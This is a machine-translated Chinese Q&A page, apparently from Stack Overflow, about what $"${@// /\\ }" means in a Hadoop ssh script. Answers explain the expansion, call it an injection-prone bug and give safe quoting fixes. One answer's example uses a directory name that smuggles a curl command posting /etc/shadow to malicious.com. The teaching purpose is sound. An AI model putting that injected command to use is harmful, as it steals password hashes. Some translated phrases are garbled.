$“${@//\\}”在bash中是什么意思?

h6my8fg2  于 2021-05-29  发布在  Hadoop
关注(0)|答案(2)|浏览(1121)

在阅读hadoop部署脚本时,我发现以下代码:

ssh $HADOOP_SSH_OPTS $slave $"${@// /\\ }"

这个 "${@// /\\ }" 输入是一个简单的shell命令(参数展开)。为什么要添加 $ 在这个命令之前?这是什么意思 $"" 什么意思?

sxissh06

sxissh061#

脚本中包含空格的参数需要在命令行中用引号括起来。
这个 ${@// /\\ } 将引用此空白,以便接下来进行的扩展将保留空白作为另一个命令的参数的一部分。
不管怎样,也许一个例子是正确的。用上述行创建tst.sh并使其可执行。

echo '#!/bin/bash' > tst.sh
echo 'ssh $HADOOP_SSH_OPTS $slave $"${@// /\\ }"' >> tst.sh
chmod +x tst.sh

尝试在包含空格的目录的远程服务器(也称为slave)上运行mkdir命令,前提是您可以访问该目录 server 具有用户id uid :

HADOOP_SSH_OPTS="-l uid" slave=server ./tst.sh mkdir "/tmp/dir with spaces"

由于引用了空格,您现在将有一个 dir with spaces 上的/tmp目录 server 所有者 uid .
检查使用 ssh uid@server ls /tmp 如果你在另一个国家,并且真的想要一些非英语字符,那就用$“…”来维持,也就是特定地区的。

xwmevbvl

xwmevbvl2#

这段代码只是一个bug:它打算转义本地脚本的参数列表,以便可以通过ssh传输带有空格的参数,但它做得很糟糕(以可利用的方式丢失了某些类型的空格和大量的元字符类),并使用 $"" 语法(执行翻译表查找)没有任何可理解的理由这样做。

错误的事情(又名:它应该做什么,以及它如何失败)

第1部分:描述问题

将一系列参数传递给ssh并不能保证这些参数会按原来的方式出现!ssh将其参数列表展平为单个字符串,并仅将该字符串传输到远程系统。
因此:


# you might try to do this...

ssh remotehost printf '%s\n' "hello world" "goodbye world"

…在远程系统看来完全一样:


# but it comes out exactly the same as this

ssh remotehost 'printf %s\n hello world goodbye world'

…从而消除了引号的影响。如果你想要第一个命令的效果,你实际上需要的是这样的:

ssh remotehost "printf '%s\n' \"hello world\" \"goodbye world\""

…其中命令及其引号作为单个参数传递给ssh。

第2部分:尝试修复

语法 "${var//string/replacement}" 计算的内容 $var 但每一次 string 替换为 replacement .
语法 "$@" 扩展到给定给当前脚本的参数的完整列表。 "${@//string/replacement}" 扩展到参数的完整列表,但每个 string 在每个参数中替换为 replacement .
因此, "${@// /\\ }" 扩展到参数的完整列表,但每个空格都替换为一个字符串,该字符串在该空格前面加一个反斜杠。
因此,它修改了这一点:


# would be right as a local command, but not over ssh!

ssh remotehost printf '%s\n' 'hello world' 'goodbye world'

对此:


# ...but with "${@// /\\ }", it becomes this:

ssh remotehost printf '%s\n' 'hello\ world' 'goodbye\ world'

…宋承宪大口地说:


# ...which behaves just like this, which actually works:

ssh remotehost 'printf %s\n hello\ world goodbye\ world'

看起来不错,对吧?但事实并非如此。

旁白:$“${@/../…}”中的前导$是什么意思?

这里有个虫子。这是有效的语法,因为$“”在bash中有一个有用的含义(以英语文本的形式查找字符串,以查看是否有到当前用户的母语的翻译),但是没有合法的理由在这里执行翻译表查找。

为什么代码有危险的bug

有很多你需要逃离比空间,使一些安全壳评估!
假设您正在运行以下命令:


# copy directory structure to remote machine

src=/home/someuser/files
while read -r path; do
  ssh "$host" "mkdir -p $path"
done < <(find /home/someuser/files -type d -printf '%P\0')

看起来很安全,对吧?但我们还是这么说吧 someuser 对他们的文件权限马虎(或恶意),有人这样做:

mkdir $'/home/someuser/files/$(curl\t-X\tPOST\t-d\t/etc/shadow\thttp://malicious.com/)/'

哦,不!现在,如果您使用root权限运行该脚本,您将获得 /etc/shadow 发送到 malicious.com ,让他们在空闲时尝试破解你的密码——而你问题中给出的代码也不会有帮助,因为它只反斜杠转义空格,而不是制表符或换行符,而且它对你没有任何作用 $() 或者反记号或者其他可以控制shell的字符。

正确的事情(选项1:使用标准数据)

一种安全而正确的方法可以转义要通过ssh传输的参数列表,如下所示:


# !/bin/bash

# tell bash to put a quoted string which will, if expanded by bash, evaluate

# to the original arguments to this script into cmd_str

printf -v cmd_str '%q ' "$@"

# on the remote system, run "bash -s", with the script to run fed on stdin

# this guarantees that the remote shell is bash, which printf %q quoted content

# to be parsed by.

ssh "$slave" "bash -s" <<EOF
$cmd_str
EOF

这种方法有一些固有的局限性——特别是,它要求远程命令的stdin用于脚本内容——但是即使远程命令 /bin/sh 不支持bash扩展,例如 $'' .

正确的做法(选项2:使用python)

不像bash和ksh printf %q ,python标准库的 pipes.quote() (在3.x中移动到 shlex.quote() )保证生成符合posix的输出。我们可以这样使用它:

posix_quote() {
  python -c 'import pipes, sys; print " ".join([pipes.quote(x) for x in sys.argv[1:]])' "$@"
}

cmd_str=$(posix_quote "$@")
ssh "$slave" "$cmd_str"

相关问题